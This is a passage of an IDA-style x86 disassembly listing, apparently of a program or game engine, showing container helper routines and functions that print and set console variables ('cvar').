db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40B390 proc near ; CODE XREF: sub_40180Cj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = byte ptr 14h
arg_14 = byte ptr 18h
arg_18 = dword ptr 1Ch
mov eax, [esp+arg_4]
push esi
mov esi, ecx
push edi
mov ecx, [esp+8+arg_0]
push eax
add ecx, 1Eh
call sub_401FBE
mov eax, [esp+8+arg_0]
mov edx, [esp+8+arg_C]
push edx
lea ecx, [eax+33h]
call sub_401FBE
mov ecx, [esp+8+arg_0]
mov dl, [esp+8+arg_10]
mov edi, [esp+8+arg_8]
mov [ecx+48h], dl
mov eax, [esp+8+arg_0]
push edi
push eax
mov ecx, esi
call sub_401F32
mov ecx, [esp+8+arg_0]
mov dl, [esp+8+arg_14]
push edi
mov [ecx+4], dl
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_18]
mov [eax+5], ecx
mov ecx, [esp+0Ch+arg_0]
call sub_401FBE
lea edx, [esp+8+arg_0]
lea ecx, [esi+8Eh]
push edx
call sub_401906
sub_40B390 endp
; ---------------------------------------------------------------------------
pop edi
pop esi
retn 1Ch
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40B430 proc near ; CODE XREF: sub_401B5Ej
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
arg_14 = dword ptr 18h
arg_18 = dword ptr 1Ch
push 0FFFFFFFFh
push offset SEH_40B430
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 48h
mov eax, [esp+54h+arg_C]
push ebp
push esi
mov esi, ecx
push edi
push eax
lea ecx, [esp+64h+var_24]
call sub_401861
mov edi, eax
mov ecx, [esp+60h+arg_8]
mov [esp+60h+var_4], 0
push ecx
lea ecx, [esp+64h+var_3C]
call sub_401861
mov ebp, eax
mov edx, [esp+60h+arg_4]
lea ecx, [esp+60h+var_54]
push edx
mov byte ptr [esp+64h+var_4], 1
call sub_401861
mov ecx, [esp+60h+arg_18]
mov edx, [esp+60h+arg_14]
push ecx
mov ecx, [esp+64h+arg_10]
push edx
mov edx, [esp+68h+arg_0]
push ecx
push edi
push ebp
push eax
push edx
mov ecx, esi
mov byte ptr [esp+7Ch+var_4], 2
call sub_40180C
sub_40B430 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch]
mov byte ptr [esp+5Ch], 1
call sub_401226
lea ecx, [esp+24h]
mov byte ptr [esp+5Ch], 0
call sub_401226
lea ecx, [esp+3Ch]
mov dword ptr [esp+5Ch], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+54h]
pop edi
pop esi
pop ebp
mov large fs:0, ecx
add esp, 54h
retn 1Ch
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40B520 proc near ; CODE XREF: sub_4019CEj
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
sub esp, 8
push esi
mov esi, ecx
push edi
lea ecx, [esp+10h+var_8]
call sub_40153C
add esi, 8Eh
lea eax, [esp+10h+var_4]
push eax
mov ecx, esi
call sub_401451
mov ecx, [eax]
lea edx, [esp+10h+var_4]
mov [esp+10h+var_8], ecx
push edx
mov ecx, esi
call sub_401C71
push eax
lea ecx, [esp+14h+var_8]
call sub_40136B
test al, al
jz short loc_40B5A1
mov edi, [esp+10h+arg_0]
loc_40B566: ; CODE XREF: sub_40B520+7Fj
push edi
lea ecx, [esp+14h+var_8]
call sub_401F5A
mov ecx, [eax]
add ecx, 1Eh
call sub_4021AD
test eax, eax
lea ecx, [esp+10h+var_8]
jz short loc_40B5AB
call sub_40133E
lea eax, [esp+10h+var_4]
mov ecx, esi
push eax
call sub_401C71
push eax
lea ecx, [esp+14h+var_8]
call sub_40136B
test al, al
jnz short loc_40B566
loc_40B5A1: ; CODE XREF: sub_40B520+40j
pop edi
xor eax, eax
pop esi
add esp, 8
retn 8
; ---------------------------------------------------------------------------
loc_40B5AB: ; CODE XREF: sub_40B520+60j
call sub_401F5A
mov eax, [eax]
pop edi
pop esi
add esp, 8
retn 8
sub_40B520 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40B5F0: ; CODE XREF: ___:00401456j
push 0FFFFFFFFh
push offset loc_438BF8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
mov eax, [esp+28h]
push esi
mov esi, ecx
push eax
lea ecx, [esp+8]
call sub_401861
mov ecx, [esp+30h]
mov dword ptr [esp+24h], 0
push ecx
push eax
mov ecx, esi
call sub_4019CE
lea ecx, [esp+4]
mov esi, eax
mov dword ptr [esp+24h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+1Ch]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 24h
retn 8
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40B680 proc near ; CODE XREF: sub_401596j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
mov esi, [esp+4+arg_0]
push eax
mov ecx, esi
call sub_4015D7
mov ecx, esi
call sub_4017E4
push eax
call near ptr 77C1CF90h
nop
fstp dword ptr [esi+15h]
add esp, 4
mov ecx, esi
call sub_4017E4
push eax
call near ptr 77C1BF18h
nop
add esp, 4
mov ecx, esi
mov [esi+1Ah], eax
mov byte ptr [esi+19h], 0
push offset aTrue ; "true"
call sub_4012EE
test eax, eax
jnz short loc_40B6D1
mov byte ptr [esi+19h], 1
loc_40B6D1: ; CODE XREF: sub_40B680+4Bj
pop esi
retn 8
sub_40B680 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40B700 proc near ; CODE XREF: sub_401F32j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
mov edi, [esp+8+arg_4]
mov ecx, esi
mov eax, [edi+9]
push eax
call sub_4015D7
mov ecx, esi
call sub_4017E4
push eax
nop
call near ptr 77C1CF90h
fstp dword ptr [esi+15h]
add esp, 4
mov ecx, esi
call sub_4017E4
push eax
nop
call near ptr 77C1BF18h
add esp, 4
mov ecx, esi
mov [esi+1Ah], eax
mov byte ptr [esi+19h], 0
push offset aTrue ; "true"
call sub_4012EE
test eax, eax
jnz short loc_40B755
mov byte ptr [esi+19h], 1
loc_40B755: ; CODE XREF: sub_40B700+4Fj
mov cl, [edi+4]
mov [esi+4], cl
mov edx, [edi+5]
mov [esi+5], edx
pop edi
pop esi
retn 8
sub_40B700 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40B790: ; CODE XREF: ___:00401D43j
fld dword ptr [esp+8]
push esi
mov esi, [esp+8]
sub esp, 8
fstp qword ptr [esp]
push offset aF ; "%f"
push esi
call sub_40102D
mov eax, [esp+1Ch]
add esp, 10h
mov ecx, esi
mov [esi+15h], eax
call sub_4017E4
push eax
nop
call near ptr 77C1BF18h
fld dword ptr [esp+10h]
fcomp flt_43E024
mov [esi+1Ah], eax
add esp, 4
mov byte ptr [esi+19h], 0
fnstsw ax
test ah, 1
jnz short loc_40B7E1
mov byte ptr [esi+19h], 1
loc_40B7E1: ; CODE XREF: ___:0040B7DBj
pop esi
retn 8
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40B810: ; CODE XREF: ___:00401C94j
push ebx
mov bl, [esp+0Ch]
test bl, bl
push esi
jz short loc_40B840
mov esi, [esp+0Ch]
push offset aTrue ; "true"
mov ecx, esi
call sub_4015D7
mov dword ptr [esi+15h], 3F800000h
mov dword ptr [esi+1Ah], 1
mov [esi+19h], bl
pop esi
pop ebx
retn 8
; ---------------------------------------------------------------------------
loc_40B840: ; CODE XREF: ___:0040B818j
mov esi, [esp+0Ch]
push offset aFalse ; "false"
mov ecx, esi
call sub_4015D7
xor eax, eax
mov [esi+19h], bl
mov [esi+15h], eax
mov [esi+1Ah], eax
pop esi
pop ebx
retn 8
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40B880: ; CODE XREF: ___:00401D6Bj
push esi
mov esi, [esp+8]
push edi
mov edi, [esp+10h]
push edi
push offset dword_4437F4
push esi
call sub_40102D
fild dword ptr [esp+1Ch]
add esp, 0Ch
cmp edi, 1
mov [esi+1Ah], edi
mov byte ptr [esi+19h], 0
fstp dword ptr [esi+15h]
jl short loc_40B8B0
mov byte ptr [esi+19h], 1
loc_40B8B0: ; CODE XREF: ___:0040B8AAj
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40B8D0: ; CODE XREF: ___:loc_401ACDj
mov eax, large fs:0
push 0FFFFFFFFh
push offset loc_438C30
push eax
mov large fs:0, esp
sub esp, 4Ch
push ebx
push ebp
push esi
mov esi, [esp+68h]
mov ebp, ecx
push edi
lea edi, [esi+7Eh]
lea ecx, [ebp+4]
call sub_4014D3
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz loc_40BA12
lea ebx, [esi+69h]
mov ecx, ebx
call sub_4014D3
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push offset aCvar ; "(cvar)"
push eax
push ecx
mov ecx, offset byte_4D60B5
call sub_401118
lea ecx, [esp+6Ch]
call sub_40153C
add ebp, 8Eh
lea edx, [esp+10h]
push edx
mov ecx, ebp
xor edi, edi
call sub_401451
mov eax, [eax]
lea ecx, [esp+10h]
push ecx
mov ecx, ebp
mov [esp+70h], eax
call sub_401C71
push eax
lea ecx, [esp+70h]
call sub_40136B
test al, al
jz loc_40BA0B
loc_40B976: ; CODE XREF: ___:0040BA05j
lea ecx, [esp+6Ch]
inc edi
call sub_401F5A
mov ecx, [eax]
add ecx, 33h
call sub_4017E4
push eax
lea ecx, [esp+70h]
call sub_401F5A
mov ecx, [eax]
call sub_4017E4
push eax
lea ecx, [esp+74h]
call sub_401F5A
mov ecx, [eax]
add ecx, 1Eh
call sub_4017E4
push eax
push edi
push offset aDSSS ; "[%d] \"%s\" = \"%s\" (\"%s\")"
mov ecx, ebx
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D60B5
call sub_401848
add esp, 24h
push 5DCh
nop
call near ptr 2840000h
lea ecx, [esp+6Ch]
call sub_40133E
lea ecx, [esp+10h]
push ecx
mov ecx, ebp
call sub_401C71
push eax
lea ecx, [esp+70h]
call sub_40136B
test al, al
jnz loc_40B976
loc_40BA0B: ; CODE XREF: ___:0040B970j
mov al, 1
jmp loc_40BB9A
; ---------------------------------------------------------------------------
loc_40BA12: ; CODE XREF: ___:0040B907j
lea ecx, [ebp+32h]
call sub_4017E4
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz short loc_40BAA5
push offset asc_443600 ; " "
lea edx, [esp+30h]
push 1
push edx
mov ecx, esi
call sub_4016AE
push 1
push eax
mov ecx, ebp
mov dword ptr [esp+6Ch], 0
call sub_4019CE
lea ecx, [esp+2Ch]
mov edi, eax
mov dword ptr [esp+64h], 0FFFFFFFFh
call sub_401226
test edi, edi
jz loc_40BB98
mov ecx, edi
call sub_4017E4
push eax
lea ecx, [edi+1Eh]
call sub_4017E4
push eax
push offset aSS_5 ; "%s = \"%s\""
lea ecx, [esi+69h]
call sub_4014D3
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
push offset byte_4D60B5
call sub_401848
add esp, 1Ch
jmp loc_40BB9A
; ---------------------------------------------------------------------------
loc_40BAA5: ; CODE XREF: ___:0040BA24j
lea ecx, [ebp+60h]
call sub_4014D3
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz loc_40BB98
push offset asc_443600 ; " "
lea edx, [esp+30h]
push 1
push edx
mov ecx, esi
call sub_4016AE
push 1
push eax
mov ecx, ebp
mov dword ptr [esp+6Ch], 1
call sub_4019CE
lea ecx, [esp+2Ch]
mov edi, eax
mov dword ptr [esp+64h], 0FFFFFFFFh
call sub_401226
test edi, edi
jz loc_40BB98
push edi
lea ecx, [esp+18h]
call sub_4014C9
mov ebx, 2
push 1
push offset asc_443600 ; " "
lea eax, [esp+4Ch]
push ebx
push eax
mov ecx, esi
mov [esp+74h], ebx
call sub_4011EA
push eax
push edi
mov ecx, ebp
mov byte ptr [esp+6Ch], 3
call sub_401F32
lea ecx, [esp+44h]
mov [esp+64h], bl
call sub_401226
lea ecx, [esp+14h]
call sub_4017E4
push eax
mov ecx, edi
call sub_4017E4
push eax
lea ecx, [edi+1Eh]
call sub_4017E4
push eax
push offset aSSWasS ; "%s = \"%s\" [was \"%s\"]"
lea ecx, [esi+69h]
call sub_4014D3
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push offset byte_4D60B5
call sub_401848
add esp, 20h
lea ecx, [esp+14h]
mov dword ptr [esp+64h], 0FFFFFFFFh
call sub_401226
mov al, 1
jmp short loc_40BB9A
; ---------------------------------------------------------------------------
loc_40BB98: ; CODE XREF: ___:0040BA60j
; ___:0040BAB7j ...
xor al, al
loc_40BB9A: ; CODE XREF: ___:0040BA0Dj
; ___:0040BAA0j ...
mov ecx, [esp+5Ch]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 58h
retn 4
; ---------------------------------------------------------------------------
db 90h
db 0C0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40BC70 proc near ; CODE XREF: sub_401BF4j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_4021CB
sub_40BC70 endp
; ---------------------------------------------------------------------------
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40BCB0 proc near ; CODE XREF: sub_401555j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_401C71
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_401451
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_40124E
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_401FCD
sub_40BCB0 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BD20 proc near ; CODE XREF: sub_401451j
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
push eax
call sub_4020F9
mov ecx, [eax]
mov esi, [esp+8+arg_0]
add esp, 4
push ecx
mov ecx, esi
call sub_4014A6
mov eax, esi
pop esi
retn 4
sub_40BD20 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BD60 proc near ; CODE XREF: sub_401C71j
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
mov esi, [esp+4+arg_0]
push eax
mov ecx, esi
call sub_4014A6
mov eax, esi
pop esi
retn 4
sub_40BD60 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40BD90 proc near ; CODE XREF: sub_401906j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_401C71
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401C49
sub_40BD90 endp
; ---------------------------------------------------------------------------
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BDD0 proc near ; CODE XREF: sub_401BEFj
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_401C71
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_401451
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_40124E
pop esi
add esp, 0Ch
retn
sub_40BDD0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BE20 proc near ; CODE XREF: sub_40153Cj
push esi
mov esi, ecx
call sub_40213A
mov eax, esi
pop esi
retn
sub_40BE20 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BE40 proc near ; CODE XREF: sub_401F5Aj
mov eax, [ecx]
push eax
call sub_401839
add esp, 4
retn
sub_40BE40 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BE60 proc near ; CODE XREF: sub_40133Ej
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_4020F9
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_40BE60 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BE90 proc near ; CODE XREF: sub_40136Bj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401CE9
neg al
sbb eax, eax
inc eax
retn 4
sub_40BE90 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40BEC0 proc near ; CODE XREF: sub_401C49j
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_4016A4
mov edi, eax
push edi
call sub_40213F
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_4021CB
sub_40BEC0 endp
; ---------------------------------------------------------------------------
push edi
mov ebx, eax
call sub_40213F
push edi
mov [eax], ebx
call sub_40213F
mov edi, [eax]
push edi
call sub_40213F
mov ecx, [eax]
push ecx
call sub_4020F9
mov edx, [esp+28h]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_401839
add esp, 4
mov ecx, esi
push eax
call sub_401F14
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
mov esi, [esp+14h]
mov ecx, esi
call sub_4014A6
mov eax, esi
pop edi
pop esi
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BF60 proc near ; CODE XREF: sub_40124Ej
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_40136B
test al, al
jz short loc_40BFBA
loc_40BF78: ; CODE XREF: sub_40BF60+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_401B86
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_40106E
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_40136B
test al, al
jnz short loc_40BF78
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_40BFBA: ; CODE XREF: sub_40BF60+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_40BF60 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40BFF0 proc near ; CODE XREF: sub_4021CBj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 0Ch
call sub_40155F
sub_40BFF0 endp
; ---------------------------------------------------------------------------
mov edi, [esp+0Ch]
mov esi, eax
test edi, edi
jnz short loc_40C005
mov edi, esi
loc_40C005: ; CODE XREF: ___:0040C001j
push esi
call sub_4020F9
mov [eax], edi
mov edi, [esp+14h]
add esp, 4
test edi, edi
jnz short loc_40C01A
mov edi, esi
loc_40C01A: ; CODE XREF: ___:0040C016j
push esi
call sub_40213F
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40C040 proc near ; CODE XREF: sub_401FCDj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_402059
sub_40C040 endp
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C060 proc near ; CODE XREF: sub_4020F9j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_40C060 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C080 proc near ; CODE XREF: sub_401839j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_40C080 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C0A0 proc near ; CODE XREF: sub_40213Aj
mov eax, ecx
retn
sub_40C0A0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C0C0 proc near ; CODE XREF: sub_4014A6j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_40105A
mov eax, esi
pop esi
retn 4
sub_40C0C0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C0F0 proc near ; CODE XREF: sub_401CE9j
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_40C0F0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40C120 proc near ; CODE XREF: sub_40106Ej
var_4 = byte ptr -4
arg_4 = byte ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_401B86
mov ecx, eax
call sub_4016A4
mov esi, eax
push esi
call sub_4020F9
push esi
mov ebx, eax
call sub_40213F
mov ecx, [eax]
push ecx
call sub_4020F9
mov edx, [ebx]
push esi
mov [eax], edx
call sub_40213F
push esi
mov ebx, eax
call sub_4020F9
mov eax, [eax]
push eax
call sub_40213F
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_401839
add esp, 1Ch
mov ecx, edi
push eax
call sub_401221
push esi
mov ecx, edi
call sub_401FCD
sub_40C120 endp
; ---------------------------------------------------------------------------
mov eax, [edi+8]
mov edx, [esp+18h]
dec eax
mov [edi+8], eax
mov eax, [esp+14h]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C1E0 proc near ; CODE XREF: sub_40213Fj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_40C1E0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40C200 proc near ; CODE XREF: sub_40155Fj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401D16
sub_40C200 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40C230 proc near ; CODE XREF: sub_402059j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_4367E2
sub_40C230 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C250 proc near ; CODE XREF: sub_401F14j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_4011AE
add esp, 8
retn 8
sub_40C250 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C280 proc near ; CODE XREF: sub_40105Aj
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_40C280 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C2A0 proc near ; CODE XREF: sub_4016A4j
mov eax, [ecx]
retn
sub_40C2A0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C2C0 proc near ; CODE XREF: sub_401B86j
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_40133E
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_40C2C0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C2F0 proc near ; CODE XREF: sub_401221j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_2
pop ecx
retn 4
sub_40C2F0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C310 proc near ; CODE XREF: sub_4011AEj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011CC
add esp, 8
test eax, eax
jz short locret_40C32B
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_40C32B: ; CODE XREF: sub_40C310+11j
retn
sub_40C310 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40C360 proc near ; CODE XREF: sub_401BE5j
var_24 = byte ptr -24h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40C360
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push esi
push 0
push 4
push 0Eh
push 5
push 13h
push 4Fh
push 3
push 3
lea eax, [esp+48h+var_24]
push 4
mov esi, ecx
push eax
call sub_4019B5
add esp, 28h
push esi
mov ecx, eax
mov [esp+2Ch+var_4], 0
call sub_401681
add esi, 4
push eax
push esi
mov ecx, offset dword_447158
call sub_401591
sub_40C360 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+24h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+1Ch]
pop esi
mov large fs:0, ecx
add esp, 24h
retn
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C400 proc near ; CODE XREF: sub_401712j
var_AB4 = dword ptr -0AB4h
var_AAC = dword ptr -0AACh
var_AA8 = dword ptr -0AA8h
var_AA4 = dword ptr -0AA4h
var_AA0 = dword ptr -0AA0h
var_A9C = byte ptr -0A9Ch
var_A98 = byte ptr -0A98h
var_A94 = dword ptr -0A94h
var_A90 = dword ptr -0A90h
var_A8C = dword ptr -0A8Ch
var_A88 = dword ptr -0A88h
var_A84 = dword ptr -0A84h
var_A78 = byte ptr -0A78h
var_A74 = dword ptr -0A74h
var_A70 = byte ptr -0A70h
var_A6C = byte ptr -0A6Ch
var_A5C = byte ptr -0A5Ch
var_A54 = byte ptr -0A54h
var_A3C = byte ptr -0A3Ch
var_A38 = byte ptr -0A38h
var_A24 = byte ptr -0A24h
